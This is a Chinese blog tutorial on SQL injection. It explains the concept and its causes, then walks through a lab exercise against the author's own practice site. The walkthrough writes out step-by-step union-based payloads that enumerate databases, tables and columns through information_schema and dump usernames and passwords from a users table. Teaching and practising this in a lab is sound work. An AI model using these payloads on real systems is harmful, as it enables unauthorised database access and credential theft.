初识SQL注入,究竟什么是SQL注入?其实所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
SQL注入原理
SQL注入攻击指的是通过构建特殊输入作为参数传入Web应用程序,而这些输入大都是SQL语句里的一些组合,通过执行SQL语句而执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统。
SQL注入的来源
1、程序员水平和经验的欠缺,对SQL注入不够重视或者没有防范意识;
2、现在很多教程或者模板存在SQL注入漏洞;
3、Internet上给出的许多解决办法并未解决;
4、数据库管理员对数据库权限设置不合理。
SQL注入的主要特点
1、变种极多
2、攻击简单
3、危害极大
SQL注入典型攻击手段
· 判断应用程序是否存在注入漏洞
· 收集信息并判断数据库类型
· 根据注入参数类型,重构SQL语句跟原貌
· 猜解表名、字段名
· 获取账户信息、攻击Web或为下一步攻击做准备。
MySQL——字符串连接函数
· concat(str1,str2……)函数,直接连接
· group_concat(str1,str2……)函数,使用逗号作为分隔符
· concat_ws(sep,str1,str2……)函数,使用第一个参数做分隔符
说了这么多,接下来我们通过一个实验来看看SQL注入到底是怎么进行的,如何进行SQL注入
实验环境:本人自行搭建的SQL联系平台进行试验测试。
实验过程:
第一步:首先要判断注入点和注入类型。在打开的网页的链接中,添加后缀“ and 1=1”,回车执行,网页没有发生任何变化。
第二步,将第一步的后缀链接改成“ and 1=2”,回车执行,发现网页还是没有任何变化。此时,综合第一步和第二步我们可知,该SQL的注入类型并不是整型注入,原因是,我们在执行了 “and 1=1”和“and 1=2”之后,网页都没有变化,说明and之后的内容并没有被执行,and之前的内容恒为真。既然不是整型注入,那么接下来我们进行字符型注入的验证。
第三步,添加后缀“’ and 1=1 %23”,回车执行。这里解释一下为什么这样写,因为表单在传参数时应该是[‘$id’]形式,先输入的右单引号与参数传入位置的左单引号形成闭合区间,最后面的%23又是什么意思呢?其实,我们将参数传递过去,给了一个右单引号已经和前面的左单引号形成了闭合,而且这队单引号之间是空值,这样已经形成了配对,最后留下的一个多余的单引号我们需要给注释掉,这里的#(也就是%23)就是注释的意思。
第四步,添加后缀“' and 1=2 %23”回车执行,此时我们发现,网页报错了,这就说明了一点就是该SQL注入的类型为字符型。
第五步,添加后缀“’ order by 4 %23”和“’ order by 3 %23”进行测试,看一下该数据库内有几列。当我们添加后缀“’ order by 4 %23”执行的时候,网页报错,说第四列不存在,那我们再用“’ order by 3 %23”测试,该测试没问题,说明该数据库有3列。
第六步,添加后缀“' union select 1,2,3 %23”,回车执行,也没反映?此时呢我们需要改一下前面id的值,让其等于 -1 执行。
第七步,既然我们已经知道该数据库的大体情况了,我们可以查询所有库名,命令:
“’ and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata %23”
查看当前库:“’ and 1=2 union select 1,2,concat(database())%23”
查看库的版本:“’ and 1=2 union select 1,2,concat(version())%23”
第八步,查询可疑库security中所有的表。
命令:“' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"%23”
第九步,在该库中我们可以看到有一个users表,经验表明该表存放的是用户信息,所以我们查看该表的所有字段。
命令:“' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"%23”
第十步,查看表中数据。通过上一步我们可以看到,在users表中包含字段id,username,password,这三个字段。这其实就是我们SQL要找的数据所存放的位置了,下面,我们就将根据字段来获取数据库里面的数据。
命令:“' and 1=2 union select 1,2,group_concat(id,0x23,username,0x23,password) from security.users %23”
SQL注入获取数据成功,实验完成。
声明:本实验所使用环境为本人自行搭建实验环境进行操作,未经允许,不得访问文中所提供的IP,否则,后果自负!!!
需要搭建本实验平台请联系博主+Q:2392900426